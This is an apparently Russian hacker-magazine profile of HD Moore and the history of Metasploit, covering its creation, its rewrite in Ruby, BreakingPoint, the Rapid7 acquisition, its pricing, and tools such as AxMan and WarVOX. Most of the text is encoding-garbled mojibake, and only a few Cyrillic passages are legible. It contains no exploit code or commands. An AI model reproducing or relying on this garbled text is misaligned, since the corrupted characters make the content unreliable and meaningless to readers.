É ÐÑÏØÉÓÁÓÝ ØÔÇÔß ÐÏØÓÔ. £ÒÆ ÂÜÌÏ ÐÑÉÎàÓÏ Ë 
ÒÃÆÅÆÎÉß É ÉÒÐÑÁÃÌÆÎÏ. 
®ÆÔÅÉÃÉÓÆÌÝÎÏ, ØÓÏ ÐÏÒÌÆ ÓÁËÏÄÏ ÔÑÁ 
ÈÁÍÆÓÉÌÉ, É ÔÇÆ Ã ÒÓÏÌÝ ßÎÏÍ ÃÏÈÑÁÒÓÆ ÏÎ 
ÎÁØÁÌ ÒÏÓÑÔÅÎÉØÁÓÝ Ò Computer Sciences 
Corporation É ¡ÑÍÉÆÊ ²¹¡ ÎÁ ËÏÎÓÑÁËÓÎÏÊ 
ÏÒÎÏÃÆ. ²ÁÍ ¾ÊØ ¥É ÐÑÉÈÎÁÆÓÒà, ØÓÏ ÆÍÔ 
ÃÒÆÄÅÁ ÎÑÁÃÉÌÏÒÝ ÌÏÍÁÓÝ É ÑÁÈÂÉÑÁÓÝ ÃÒÆ 
ÐÏÅÑàÅ, É, ÐÏ ÒÔÓÉ, ÏÎ ÅÏ ÒÉÖ ÐÏÑ ÈÁÎÉÍÁÆÓÒà 
ÉÍÆÎÎÏ ÞÓÉÍ, ÐÑÏÒÓÏ ÉÒÐÏÌÝÈÔà ÅÌà ÞÓÏÄÏ 
ÂÏÌÆÆ ÐÑÏÅÃÉÎÔÓÜÆ É ÁÃÓÏÍÁÓÉÈÉÑÏÃÁÎÎÜÆ 
ÍÆÓÏÅÜ.
£ ÐÏÒÌÆÅÔßÚÉÆ ÄÏÅÜ ÔÑ ÐÑÏÅÏÌÇÁÌ ÒÏÃÆÑ-
ÙÆÎÒÓÃÏÃÁÓÝÒà Ã ÎÆÌÆÄËÏÍ ÅÆÌÆ ÓÆÒÓÏÃ 
ÎÁ ÐÑÏÎÉËÎÏÃÆÎÉÆ, ÐÏÉÒËÁ ÔàÈÃÉÍÏÒÓÆÊ É 
ÒÏÈÅÁÎÉà ÞËÒÐÌÏÉÓÏÃ. ©ÍÆÎÎÏ ÓÁË, Ã ÐÑÏ-
×ÆÒÒÆ ËÏÎÓÑÁËÓÎÏÊ, ÕÑÉÌÁÎÒÆÑÒËÏÊ ÑÁÂÏÓÜ, É 
ÑÏÅÉÌÏÒÝ ÆÄÏ ÒÁÍÏÆ ÉÈÃÆÒÓÎÏÆ (ÎÏ ÎÆ ÆÅÉÎ-
ÒÓÃÆÎÎÏÆ) ÅÆÓÉÚÆ — Metasploit. ¦ÒÌÉ ÓÜ ÎÆ 
ÈÎÁÆÙÝ, ØÓÏ ÞÓÏ ÓÁËÏÆ, ÓÏ ÞÓÏÓ ÇÔÑÎÁÌ, ÎÁÃÆÑ-
ÎÏÆ, ÐÏÐÁÌ Ë ÓÆÂÆ Ã ÑÔËÉ ÐÏ ÏÙÉÂËÆ, É ÓÜ, ËÁË 
ÐÉÒÁÌÉ ÐÁÑÎÉ Ò HITB, «ÎÆ ÖÁËÆÑ» :). £ÐÑÏØÆÍ, 
ÃÏÒÐÏÌÎàÓÝ ÐÑÏÂÆÌÜ Ã ÈÎÁÎÉàÖ ÎÉËÏÄÅÁ ÎÆ 
ÐÏÈÅÎÏ, ÓÁË ØÓÏ ÐÏÈÃÏÌÝ ÃÒÆ ÇÆ ÐÑÉÃÆÒÓÉ 
ËÏÑÏÓËÔß ÒÐÑÁÃËÔ.

°ÑÏÆËÓ Metasploit ÐÏàÃÉÌÒà ÎÁ ÒÃÆÓ Ã 2003 
ÄÏÅÔ, É ÒÏÈÅÁÓÆÌÆÍ ÆÄÏ ÐÆÑÃÏÊ ÃÆÑÒÉÉ 
ÃÜÒÓÔÐÁÌ ÌÉØÎÏ ÔÑ. ©ÒÖÏÅÎÏ ÏÎ ÈÁÓÆÃÁÌ 
ÞÓÏ ÉÒËÌßØÉÓÆÌÝÎÏ ÅÌà ÒÆÂà É ÑÁÅÉ ÒÏÂ-
ÒÓÃÆÎÎÏÄÏ ÔÅÏÂÒÓÃÁ, ÎÏ ÃÐÏÒÌÆÅÒÓÃÉÉ ÉÅÆà 
ÑÁÈÃÉÌÁÒÝ Ã ÒÆÑÝÆÈÎÜÊ ÂÉÈÎÆÒ, Á Metasploit 
Framework ÒÓÁÌ ÏÅÎÉÍ ÉÈ ÎÁÉÂÏÌÆÆ ÉÈÃÆÒÓ-
ÎÜÖ ÐÑÏÅÔËÓÏÃ Ã ÒÃÏÆÊ ÏÂÌÁÒÓÉ. ¾ÓÏ ÈÁËÏÎ-
ØÆÎÎÁà ÒÑÆÅÁ ÅÌà ÒÏÈÅÁÎÉà, ÓÆÒÓÉÑÏÃÁÎÉà É 
ÉÒÐÏÌÝÈÏÃÁÎÉà ËÏÅÁ ÞËÒÐÌÏÉÓÏÃ. ¯ÎÁ ÏÂÆÒÐÆ-
ØÉÃÁÆÓ ÎÁÅÆÇÎÔß ÐÌÁÓÕÏÑÍÔ ÅÌà ÉÒÐÜÓÁÎÉÊ 
ÎÁ ÐÑÏÎÉËÎÏÃÆÎÉÆ, ÑÁÈÑÁÂÏÓËÉ ÙÆÌÌËÏÅÏÃ É 
ÉÒÒÌÆÅÏÃÁÎÉà ÔàÈÃÉÍÏÒÓÆÊ. °ÏÍÉÍÏ ÐÑÏØÆÄÏ 
ÐÑÏÆËÓ ÃËÌßØÁÆÓ Ã ÒÆÂà ÂÁÈÔ ÏÐËÏÅÏÃ, ÁÑÖÉÃ 
ÙÆÌÌËÏÅÏÃ É ÉÎÕÏÑÍÁ×Éß ÐÏ ÉÒÒÌÆÅÏÃÁÎÉàÍ 
ËÏÍÐÝßÓÆÑÎÏÊ ÂÆÈÏÐÁÒÎÏÒÓÉ. ¯ÕÉ×ÉÁÌÝÎÁà 
ÒÓÑÁÎÉ×Á ÔÑÁ (http://digitaloffense.net) ÒÏÃÆ-
ÓÔÆÓ ÏÓÎÏÒÉÓÆÌÝÎÏ Metasploit Framework ÂÔË-
ÃÁÌÝÎÏ ÒÌÆÅÔßÚÆÆ: «°ÑÏÕÆÒÒÉÏÎÁÌÜ Ã ÏÂÌÁ-
ÒÓÉ ÒÆÓÆÃÏÊ ÂÆÈÏÐÁÒÎÏÒÓÉ ÍÏÄÔÓ ÉÒÐÏÌÝÈÏ-
ÃÁÓÝ Metasploit ÅÌà ÐÑÏÃÆÅÆÎÉà ÐÆÎ-ÓÆÒÓÏÃ, 
ÒÉÒÓÆÍÎÜÆ ÁÅÍÉÎÉÒÓÑÁÓÏÑÜ — ÅÌà ÐÑÏÃÆÑËÉ 
ÔÒÓÁÎÏÃÌÆÎÎÜÖ ÐÁÓØÆÊ, ÐÑÏÉÈÃÏÅÉÓÆÌÉ — ÅÌà 
ÑÆÄÑÆÒÒÉÃÎÏÄÏ ÓÆÒÓÉÑÏÃÁÎÉà, ÉÒÒÌÆÅÏÃÁÓÆÌÉ 
Ã ÒÕÆÑÆ ©¢ ÒÏ ÃÒÆÄÏ ÍÉÑÁ ÓÏÇÆ ÎÁÃÆÑÎàËÁ 
ÒÔÍÆßÓ ÎÁÊÓÉ Metasploit ÐÑÉÍÆÎÆÎÉÆ».  
Metasploit ÒÐÏÒÏÂÆÎ ÕÔÎË×ÉÏÎÉÑÏÃÁÓÝ ÐÑÁË-
ÓÉØÆÒËÉ ÎÁ ÌßÂÏÊ ÐÌÁÓÕÏÑÍÆ, ÐÑÉÃàÈËÉ Ë 
ØÆÍÔ-ÌÉÂÏ ËÏÎËÑÆÓÎÏÍÔ Ô ÎÆÄÏ ÎÆÓ. °Ï ÐÑÉ-
ÈÎÁÎÉß ÔÑÁ, ÒÁÍÏÊ ÞËÈÏÓÉØÎÏÊ ÒÉÒÓÆÍÏÊ, 
ÎÁ ËÏÓÏÑÏÊ ËÏÄÅÁ-ÌÉÂÏ ÈÁÐÔÒËÁÌÉ ÆÄÏ ÐÑÏ-
ÅÔËÓ, ÂÜÌÉ ÎÁÑÔØÎÜÆ ØÁÒÜ Ò ËÁËÏÊ-ÓÏ ÖÉÓÑÏÊ 
ÍÏÅÉÕÉËÁ×ÉÆÊ Linux ÎÁ ÂÏÑÓÔ. ³ÁËÉÍÉ ÉÈÃÑÁ-
ÚÆÎÉàÍÉ ÈÁÎÉÍÁÌÒà ÏÅÉÎ ÔØÁÒÓÎÉË ËÏÎÕÆ-
ÑÆÎ×ÉÉ SOURCE Ã ¢ÏÒÓÏÎÆ.  
°ÆÑÃÁà ÃÆÑÒÉà «ÆÓÁÒÐÌÏÉÓÁ» ÂÜÌÁ ÎÁÐÉÒÁ-
ÎÁ ÎÁ Perl É ÒÏÅÆÑÇÁÌÁ ÐÒÆÃÅÏÄÑÁÕÉØÆÒËÉÊ 
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 ÁÑÉà  «Mifr i l l»  ®ÆÕÆÅÏÃÁ  (mifril l@real.xakep.ru)

СЦЕНА

 Íà ñåãîäíÿ Ýé÷ Äè Ìóð (HD Moore) — îäèí èç íàèáîëåå èçâåñòíûõ 
ñïåöèàëèñòîâ â îáëàñòè èíôîðìàöèîííîé áåçîïàñíîñòè íà ïëàíåòå. 
Óæå â íà÷àëå 2000-õ íà ñàéòå èçâåñòíåéøåé õàê-êîíôåðåíöèè HITB 
ìîæíî áûëî óâèäåòü àíîíñ, ãëàñèâøèé: «Ó íàñ áóäåò åùå îäèí ñïèêåð 
— Ýé÷ Äè Ìóð. Åñëè òû íå çíàåøü, êòî ýòî, çíà÷èò òû âîîáùå íå õàêåð, 
è òåáå íóæíî êàê ìîæíî áûñòðåå ïðî÷èòàòü åãî áèîãðàôèþ!». À âåäü 
ñàìîìó Ìóðó íà òîò ìîìåíò áûëî âñåãî 22 ãîäà. 

Î Metasploit è åãî ñîçäàòåëå

HD MOORE
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ÉÎÓÆÑÕÆÊÒ ÎÁ ÂÁÈÆ curses. £ÐÏÒÌÆÅÒÓÃÉÉ, Ã 
2006 ÄÏÅÔ, ËÏÄÅÁ Ë ¾ÊØ ¥É ÐÑÉÒÏÆÅÉÎÉÌÉÒÝ 
ÅÑÔÄÉÆ ÑÁÈÑÁÂÏÓØÉËÉ, ÂÜÌÁ ÏÒÎÏÃÁÎÁ ËÏÍÐÁ-
ÎÉà Metasploit LLC, É ÓÃÏÑÆÎÉÆ ÔÑÁ ÐÏØÓÉ 

ÐÏÌÎÏÒÓÝß ÐÆÑÆÐÉÒÁÌÉ ÎÁ Ruby (Ò ÎÆËÏÓÏ-
ÑÜÍÉ ØÁÒÓàÍÉ ÎÁ ÁÒÒÆÍÂÌÆÑÆ, Python É C). 
²ÌÏÃÏÍ, ÞÓÏ ÒÃÏÆÏÂÑÁÈÎÏÆ LEGO ÅÌà ÖÁËÆÑÏÃ, 
ÒËÑÉÐÓËÉÅÉÒÏÃ, ÓÆÒÓÆÑÏÃ É ÐÑÉÍËÎÔÃÙÉÖ Ë 
ÎÉÍ ÒÏÄÑÁÇÅÁÎ.    

Metasploit и не только
¯ÅÎÁËÏ ÎÆÉÈÃÆÒÓÎÏ, ËÁË ÍÏÄÌÁ ÂÜ ÒÌÏ-
ÇÉÓÝÒà ËÁÑÝÆÑÁ ÔÑÁ É ÒÔÅÝÂÁ ÐÑÏÆËÓÁ 
Metasploit, ÆÒÌÉ ÂÜ ¾ÊØ ¥É Ã 2005 ÄÏÅÔ ÎÆ 
ÐÏÃÆÈÌÏ ÎÁÊÓÉ ÒÆÂÆ ÐÏÎÉÍÁßÚÆÄÏ ÑÁÂÏÓÏ-

ÅÁÓÆÌà. ³ÁËÏÃÜÍ ÅÌà ÎÆÄÏ ÒÓÁÌÁ ËÏÍÐÁÎÉà 
BreakingPoint, ÐÏ ÒÆÊ ÅÆÎÝ ÈÁÎÉÍÁßÚÁàÒà 
ÃÏÐÑÏÒÁÍÉ ÂÆÈÏÐÁÒÎÏÒÓÉ Ã ËÉÂÆÑÐÑÏÒÓÑÁÎ-
ÒÓÃÆ. ´ÍÎÜÆ ÑÔËÏÃÏÅÉÓÆÌÉ BreakingPoint 

ÑÆÙÉÌÉ, ØÓÏ ÐÏÂÏØÎÜÆ ÐÑÏÆËÓÜ ÔÑÁ ÎÆ 
ÓÏÌÝËÏ ÎÆ ÃÑÆÅÎÜ, ÎÏ É ÐÏÌÆÈÎÜ ËÏÍÐÁÎÉÉ, 
ÓÁË ËÁË ÐÏÍÏÄÁßÓ ÔÌÔØÙÉÓÝ ËÁØÆÒÓÃÏ ÉÖ ÒÏÂ-
ÒÓÃÆÎÎÏÊ ÐÑÏÅÔË×ÉÉ É ÈÁÒÌÔÇÉÓÝ ÂÏÌÝÙÉÊ 
ËÑÆÅÉÓ ÅÏÃÆÑÉà Ô ËÌÉÆÎÓÏÃ. £ ×ÆÌÏÍ, ÃÒÆ 
ÓÁË É ÃÜÙÌÏ. ¾ÊØ ¥É ÎÁ ÐÑÏÓàÇÆÎÉÉ 4 ÌÆÓ 
ÈÁÎÉÍÁÌ Ã ËÏÍÐÁÎÉÉ ÅÏÌÇÎÏÒÓÝ ÅÉÑÆËÓÏÑÁ 
ÐÏÅÑÁÈÅÆÌÆÎÉà ÐÏ ÉÒÒÌÆÅÏÃÁÎÉàÍ Ã ÒÕÆÑÆ 
ÂÆÈÏÐÁÒÎÏÒÓÉ, «ÆÓÁÒÐÌÏÉÓ» ÑÁÈÃÉÃÁÌÒà, 
ÐÑÏÅÔË×Éà BreakingPoint ÓÏÇÆ.
£ ÓÆ ÄÏÅÜ ÎÁ ÑÜÎËÆ ÉÎÕÏÑÍÁ×ÉÏÎÎÏÊ 

ÂÆÈÏÐÁÒÎÏÒÓÉ, ÐÏ ÒÌÏÃÁÍ ÔÑÁ, ×ÁÑÉÌÁ 
«ÃÆÌÉËÁà ÅÆÐÑÆÒÒÉà». ÎÏÄÉÆ ÉÈ ÓÆÖ, ËÓÏ 
ÑÁÎÝÙÆ ÏÓËÑÜÓÏ ÐÔÂÌÉËÏÃÁÌÉ ÉÎÕÏÑÍÁ-
×Éß É Ò ÑÁÅÏÒÓÝß ÅÆÌÉÌÉÒÝ Æß, ÎÁÖÏÅÉÌÉ 
ÒÆÂÆ ÑÁÂÏÓÔ, ÉÌÉ ÎÁÐÑÏÓÉÃ — ÂÑÏÒÁÌÉ ÞÓÏ 
ÈÁÎàÓÉÆ. ¸ÁÒÓÎÜÆ ËÏÍÐÁÎÉÉ, Ã ÒÃÏß ÏØÆ-
ÑÆÅÝ, ÃÒÆ ØÁÚÆ ÒÓÁÌÉ ÈÁÎÉÍÁÓÝ ÐÏÈÉ×Éß: 
«¡ ÈÁØÆÍ ÍÜ ÂÔÅÆÍ ÅÆÌÉÓÝÒà ÒÏ ÃÒÆÍÉ 
ÞÓÏÊ ÉÎÕÏÊ, ÆÒÌÉ ÍÜ ÍÏÇÆÓ ÐÑÏÅÁÓÝ ÆÆ Ã 
iDefense?». ©ÅÆà ÇÆ Metasploit, ÎÁÐÑÏÓÉÃ, 
ÒÏÒÓÏàÌÁ Ã ÑÁÈÑÁÂÏÓËÆ ÉÎÒÓÑÔÍÆÎÓÁÑÉà É 
ÕÑÆÊÍÃÏÑËÁ ÅÌà ÂÜÒÓÑÏÄÏ ÒÏÈÅÁÎÉà ÞËÒ-
ÐÌÏÉÓÏÃ, ÓÁË ÒËÁÈÁÓÝ, ÅÌà ÃÒÆÖ É ËÁÇÅÏÄÏ. 
£ ÞÓÏÍ ÃÏÐÑÏÒÆ ÔÑÔ É ÆÄÏ ËÏÌÌÆÄÁÍ, Ã 
ÉÈÃÆÒÓÎÏÊ ÒÓÆÐÆÎÉ, ÐÏÃÆÈÌÏ — Ã ÓÏ ÇÆ 
ÒÁÍÏÆ ÃÑÆÍà ÐÏÎÆÍÎÏÄÔ ÎÁØÁÌÁ ÃÏÈÑÁÒÓÁÓÝ 
ÉÎÕÏÑÍÉÑÏÃÁÎÎÏÒÓÝ ÌßÅÆÊ Ï ÎÆÏÂÖÏÅÉÍÏ-
ÒÓÉ ÓÁËÏÊ ÐÑÏÒÓÏÊ ÃÆÚÉ, ËÁË ÐÆÎ-ÓÆÒÓÉÎÄ, Á 
Ã ÅÁÎÎÏÊ ÏÂÌÁÒÓÉ ÉÎÒÓÑÔÍÆÎÓÜ ÐÏÅÏÂÎÜÆ 
Metasploit ÐÑÏÒÓÏ ÎÆÏÂÖÏÅÉÍÜ. £ÆÒÝÍÁ 
ÉÎÓÆÑÆÒÎÏ É ÓÏ, ØÓÏ ÔÑ ÃÒÆÄÅÁ ÒÍÆàÌÒà É 
ÐÑÏÅÏÌÇÁÆÓ ÒÍÆàÓÝÒà ÎÁÅ ÓÆÍÉ, ËÓÏ ÐÏÌÁÄÁ-
ÆÓ, ØÓÏ ÐÏÒÌÆ ÏÂÎÁÑÏÅÏÃÁÎÉà ÔàÈÃÉÍÏÒÓÉ (É 
ÓÆÍ ÂÏÌÆÆ ÞËÒÐÌÏÉÓÁ), ÏÂàÈÁÓÆÌÝÎÏ ÒÌÔØÉÓÒà 
«ØÓÏ-ÓÏ ÐÌÏÖÏÆ». ¯Î ÉÒËÑÆÎÎÆ ÒØÉÓÁÆÓ, ØÓÏ 
ÞËÒÐÌÏÉÓÜ, Á ÓÁËÇÆ ÉÎÕÏÑÍÁ×Éà Ï ÂÁÄÁÖ É 

Эйч Ди Мур собственной персоной

«В последующие годы Мур продолжал 
совершенствоваться в нелегком деле 
тестов на проникновение, поиска 
уязвимостей и создания эксплоитов»
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ÅÜÑËÁÖ ÅÏÌÇÎÜ ÂÜÓÝ ÏÂÚÆÅÏÒÓÔÐÎÜ, ÃÆÅÝ ÞÓÏ, ÎÁÐÑÏÓÉÃ, ÐÏÍÏÄÁÆÓ 
ÂÆÈÏÐÁÒÎÉËÁÍ Ã ÉÖ ÑÁÂÏÓÆ. ±ÁÈÔÍÆÆÓÒà, ÈÅÆÒÝ ÎÔÇÎÏ ÈÁÍÆÓÉÓÝ, ØÓÏ 
ÐÔÂÌÉËÏÃÁÓÝ ÓÁËÉÆ ÅÁÎÎÜÆ ÔÑ ÒØÉÓÁÆÓ ÃÏÈÍÏÇÎÜÍ ÌÉÙÝ ÐÏÒÌÆ 
ÓÏÄÏ, ËÁË Ï ÎÉÖ ÏÐÏÃÆÚÆÎ ÐÑÏÉÈÃÏÅÉÓÆÌÝ ÒÏÕÓÁ É CERT.  
¬ÉÙÎÉÊ ÑÁÈ ÃÏÒÓÑÆÂÏÃÁÎÎÏÒÓÝ ÐÑÏÆËÓÁ ÐÏÅÓÃÆÑÅÉÌÁÒÝ Ã 2009 ÄÏÅÔ, 
ËÏÄÅÁ Metasploit ÂÜÌ ÐÑÉÏÂÑÆÓÆÎ ÕÉÑÍÏÊ Rapid7, ÈÁÎÉÍÁßÚÆÊÒà 
ÔÐÑÁÃÌÆÎÉÆÍ ÔàÈÃÉÍÏÒÓàÍÉ. °ÏÅÑÏÂÎÏÒÓÉ ÞÓÏÊ ÒÅÆÌËÉ ÎÆÉÈÃÆÒÓÎÜ, 
ÎÏ ¾ÊØ ¥É ÔÑ ÐÏËÉÎÔÌ BreakingPoint, ÈÁÎàÌ Ã Rapid7 ËÑÆÒÌÏ ÑÔËÏ-
ÃÏÅÉÓÆÌà ÒÌÔÇÂÜ ÂÆÈÏÐÁÒÎÏÒÓÉ, ÏÅÎÏÃÑÆÍÆÎÎÏ ÏÒÓÁÃÁàÒÝ É ÄÌÁÃÎÜÍ 
ÁÑÖÉÓÆËÓÏÑÏÍ «ÆÓÁÒÐÌÏÉÓÁ».  
°ÏÒÌÆ ÐÏËÔÐËÉ ËÏÍÐÁÎÉÉ ÍÎÏÄÉÆ ÏÇÉÅÁÌÉ ÉÈÍÆÎÆÎÉÊ Ë ÖÔÅÙÆÍÔ É 
ËÁË ÍÉÎÉÍÔÍ ÓÏÓÁÌÝÎÏÊ ËÏÍÍÆÑ×ÉÁÌÉÈÁ×ÉÉ, ÎÏ ÞÓÏÄÏ ÎÆ ÐÑÏÉÈÏÙÌÏ. 
Metasploit Framework ÐÏ-ÐÑÆÇÎÆÍÔ ÂÆÒÐÌÁÓÆÎ, ÖÏÓà É ÐÏàÃÉÌÁÒÝ 
ÐÌÁÓÎÁà ÃÆÑÒÉà Metasploit Express, ÌÉ×ÆÎÈÉà ÎÁ ËÏÓÏÑÔß ÒÓÏÉÓ 
$3000 Ã ÄÏÅ, Á ÓÁËÇÆ Metasploit Pro, ËÏÓÏÑÜÊ ÑÁÒÐÑÏÒÓÑÁÎàÆÓÒà 
ÒÑÆÅÉ ÐÁÑÓÎÆÑÏÃ ËÏÍÐÁÎÉÉ. «ÒÓÁÓÉ, ÎÆÈÁÅÏÌÄÏ ÅÏ ÒÌÉàÎÉà, Á ÉÍÆÎÎÏ 
Ã 2008 ÄÏÅÔ, ÌÉ×ÆÎÈÉà Metasploit Framework 
ÂÜÌÁ ÒÍÆÎÆÎÁ Ò ÐÑÏÐÑÉÆÓÁÑÎÏÊ ÎÁ BSD. ÔÑ 
ÐÏ ÒÆÊ ÅÆÎÝ ÐÏÅØÆÑËÉÃÁÆÓ ÃÏ ÃÒÆÖ ÉÎÓÆÑÃÝß, 
ØÓÏ ÐÑÏÆËÓ ÂÜÌ, ÆÒÓÝ É ÏÒÓÁÎÆÓÒà open-source.       
¥Ìà ÔÑÁ É ÆÄÏ ÅÆÓÉÚÁ ÞÓÏ ÒÌÉàÎÉÆ ÒÓÁÌÏ 
ÐÆÑÆÖÏÅÏÍ ÎÁ ÎÏÃÜÊ, ÔÇÆ ÒÏÃÒÆÍ ÒÆÑÝÆÈÎÜÊ 
ÔÑÏÃÆÎÝ. Metasploit ÔËÑÆÐÉÌ ÒÃÏÉ ÐÏÈÉ×ÉÉ, 
ÏÓØÁÒÓÉ ÍÏÎÆÓÉÈÉÑÏÃÁÌÒà É ÎÁ ÒÆÄÏÅÎà àÃÌà-
ÆÓÒà ÏÅÎÉÍ ÉÈ ÎÁÉÂÏÌÆÆ ÉÈÃÆÒÓÎÜÖ É ÃÏÒÓÑÆ-
ÂÏÃÁÎÎÜÖ ÉÎÒÓÑÔÍÆÎÓÁÑÉÆÃ Ã ÒÃÏÆÍ ÑÏÅÆ. £ 
Rapid7, ËÏÓÏÑÁà ÓÆÐÆÑÝ ÔÐÑÁÃÌàÆÓ ÐÑÏÆËÓÏÍ, ÈÁ 
ÐÏÒÌÆÅÎÉÆ ÄÏÅÜ ÂÜÌÏ ÃÌÏÇÆÎÏ 9 ÍÉÌÌÉÏÎÏÃ ÅÏÌÌÁÑÏÃ ÉÎÃÆÒÓÉ×ÉÊ 
ÒÏ ÒÓÏÑÏÎÜ ÉÈÃÆÒÓÎÜÖ Ã «ÑÆÍÎÉÆÃÏÊ ÅÏÌÉÎÆ ÃÆÎØÔÑÎÜÖ ÕÏÎÅÏÃ. ¾ÓÏ 
àÃÎÏ ÒÃÉÅÆÓÆÌÝÒÓÃÔÆÓ Ï ÓÏÍ, ØÓÏ ÁÎÁÌÉÓÉËÉ É ÂÉÈÎÆÒÍÆÎÜ Ò ÏÐÓÉ-
ÍÉÈÍÏÍ ÒÍÏÓÑàÓ ÎÁ ÂÔÅÔÚÆÆ Metasploit. ² ÕÉÎÁÎÒÁÍÉ, ËÒÓÁÓÉ, ÒÃàÈÁÎ 
ÆÚÆ ÏÅÉÎ ÈÁÂÁÃÎÜÊ ÕÁËÓ. ÔÑ ÎÆ ÑÁÈ ÐÑÉÈÎÁÃÁÌ Ã ÉÎÓÆÑÃÝß, ØÓÏ 
«ÆÓÁÒÐÌÏÉÓ» ÎÁÙÆÌ ÏÓËÌÉË É Ô ÁÎÅÆÄÑÁÔÎÅÁ ËÏÍÐÝßÓÆÑÎÏÄÏ ÍÉÑÁ, 
ÄÅÆ ÏÎ ÍÎÏÄÉÍ ÐÏÌßÂÉÌÒà. ±ÁÎÝÙÆ, Ã ÎÁØÁÌÆ É ÒÆÑÆÅÉÎÆ 2000-Ö, 
ÅÌà ËÏÍÁÎÅÜ ÐÑÏÆËÓÁ ÂÜÌÏ ÃÐÏÌÎÆ ÎÏÑÍÁÌÝÎÏ ÐÏÌÔØÉÓÝ $5 000 Ò 
ÎÆÉÈÃÆÒÓÎÏÄÏ ÑÏÒÒÉÊÒËÏÄÏ PayPal-ÁËËÁÔÎÓÁ Ã ÃÉÅÆ ÐÏÇÆÑÓÃÏÃÁÎÉà. 
®Á ËÏÎÓÁËÓ ÓÁËÉÆ ÁÎÏÎÉÍÎÜÆ ÂÌÁÄÏÅÆÓÆÌÉ ÉÅÓÉ ÎÆ ÇÆÌÁÌÉ, ÎÁ ÃÒÆ 
ÃÏÐÑÏÒÜ ÏÓÃÆØÁÌÉ, ØÓÏ ÉÍ ÎÉØÆÄÏ ÎÆ ÎÔÇÎÏ, Á ÅÆÎÝÄÉ ÂÜÌÉ «ÐÑÏÒÓÏ 
ÓÁË, ÎÁÒÌÁÇÅÁÊÓÆÒÝ». 

£ 2010 ÄÏÅÔ Rapid7 É ËÏÍÐÁÎÉà SANS ÅÏÄÏÃÏÑÉÌÉÒÝ Ï ÒÏÓÑÔÅÎÉ-
ØÆÒÓÃÆ É ÏÓËÑÜÌÉ ËÔÑÒÜ ÐÏ ÏÂÔØÆÎÉß ÑÁÂÏÓÆ Ò ÉÎÕÑÁÒÓÑÔËÓÔÑÏÊ 
Metasploit Framework. ¯ÂÔØÆÎÉÆ ÅÏÒÓÔÐÎÏ Ã ÌßÂÜÖ ÕÏÑÍÁÓÁÖ: 
ÐÔÓÆÍ ÌÉØÎÏÄÏ ÏÂÚÆÎÉà Ò ÉÎÒÓÑÔËÓÏÑÏÍ, ÏÂÚÆÎÉà Ã ÑÆÁÌÝÎÏÍ ÃÑÆ-
ÍÆÎÉ ØÆÑÆÈ ÉÎÓÆÑÎÆÓ ÉÌÉ ÅÁÇÆ Ã ÃÉÅÆ ÒÁÍÏÒÓÏàÓÆÌÝÎÏÄÏ ÏÎÌÁÊÎ-
ÏÂÔØÆÎÉà. ®Ï ÃÜÙÆ ÔÇÆ ÔÐÏÍÉÎÁÌÏÒÝ, ØÓÏ «ÆÓÁÒÐÌÏÉÓ» — ÎÆ ÆÅÉÎ-
ÒÓÃÆÎÎÏÆ, ØÓÏ ÃÜÙÌÏ ÉÈ-ÐÏÅ ËÌÁÃÉÁÓÔÑÜ ¾ÊØ ¥É. ¾ÓÏ ÅÆÊÒÓÃÉÓÆÌÝÎÏ 
ÓÁË, ÖÏÓà ÏÒÓÁÌÝÎÜÆ ÆÄÏ ÐÑÏÅÔËÓÜ ÓÏÇÆ ÎÁÐÑÁÃÌÆÎÜ ÎÁ ÐÑÉÎÏÒàÚÆÆ 
ÐÏÌÝÈÔ ÑÁÈÑÔÙÆÎÉÆ :).
« ÐÑÉÍÆÑÔ, Ã 2006 ÄÏÅÔ ÔÑ ÒÎÁØÁÌÁ ÏÂÛàÃÉÌ É ÐÑÏÃÆÌ «ÆÒà× 
ÂÑÁÔÈÆÑÎÜÖ ÂÁÄÏÃ», Ã ÖÏÅÆ ËÏÓÏÑÏÄÏ ÐÔÂÌÉËÏÃÁÌ ÐÏ ÞËÒÐÌÏÉÓÔ Ë 
ÐÏÐÔÌàÑÎÜÍ ÂÑÁÔÈÆÑÁÍ ËÁÇÅÜÊ ÅÆÎÝ, Á ÈÁÓÆÍ, ÐÏÅÜÓÏÇÉÃÁà, ÃÜÐÔ-
ÒÓÉÌ ÔÓÉÌÉÓÔ AxMan. °ÑÏÄÑÁÍÍÁ ÐÑÏÃÏÅÉÓ ÁÔÅÉÓ ÔÒÓÁÎÏÃÌÆÎÎÜÖ Ã 
ÒÉÒÓÆÍÆ ActiveX É ÕÏÑÍÉÑÔÆÓ ÒÐÉÒÏË ÎÁÊÅÆÎÎÜÖ ÔàÈÃÉÍÏÒÓÆÊ. ®Á 
ÍÏÍÆÎÓ ÑÆÌÉÈÁ Ò ÆÆ ÐÏÍÏÚÝß ÍÏÇÎÏ ÂÜÌÏ ÏÂÎÁÑÔÇÉÓÝ ÐÑÁËÓÉØÆÒËÉ 
ÃÒÆ ÔàÈÃÉÍÏÒÓÉ, ÒÃàÈÁÎÎÜÆ Ò ÞÓÏÊ ÓÆÖÎÏÌÏÄÉÆÊ.

¦ÚÆ ÏÅÉÎ ÖÏÑÏÙÉÊ ÏÂÑÁÈØÉË ÓÃÏÑØÆÒÓÃÁ ÔÑÁ — WarVOX, ÞÓÏ ÎÆ 
ØÓÏ ÉÎÏÆ, ËÁË ÉÎÒÓÑÔÍÆÎÓ ÅÌà ÒÓÁÑÏÄÏ ÅÏÂÑÏÄÏ war-dialing. ¯ÎÁ ÏÑÉ-
ÆÎÓÉÑÏÃÁÎÁ ÎÁ ÁÔÅÉÓ ÓÆÌÆÕÏÎÎÜÖ ÌÉÎÉÊ, ÒÐÏÒÏÂÎÁ ÏÂÎÁÑÔÇÉÃÁÓÝ 
ÍÉÎÉ-¡³², ÓÏÎÁÌÝÎÜÆ ÒÉÄÎÁÌÜ ÄÏÓÏÃÎÏÒÓÉ, ÄÏÌÏÒÏÃÔß ÐÏØÓÔ, ÕÁË-
ÒÉÍÉÌÝÎÜÆ ÁÐÐÁÑÁÓÜ É ÅÑÔÄÉÆ ÃÉÅÜ ÓÆÌÆÕÏÎÎÜÖ ÒÏÆÅÉÎÆÎÉÊ. ² ÆÆ 
ÐÏÍÏÚÝß ÍÏÇÎÏ ÈÁ 8 ØÁÒÏÃ ÐÑÏÒËÁÎÉÑÏÃÁÓÝ ÅÏ 10 000 ÓÆÌÆÕÏÎÎÜÖ 
ÎÏÍÆÑÏÃ. WarVOX ÔÍÆÆÓ É ÈÁÐÉÒÜÃÁÓÝ É ÁÑÖÉÃÉÑÏÃÁÓÝ ÁÔÅÉÏÐÏÓÏË. 
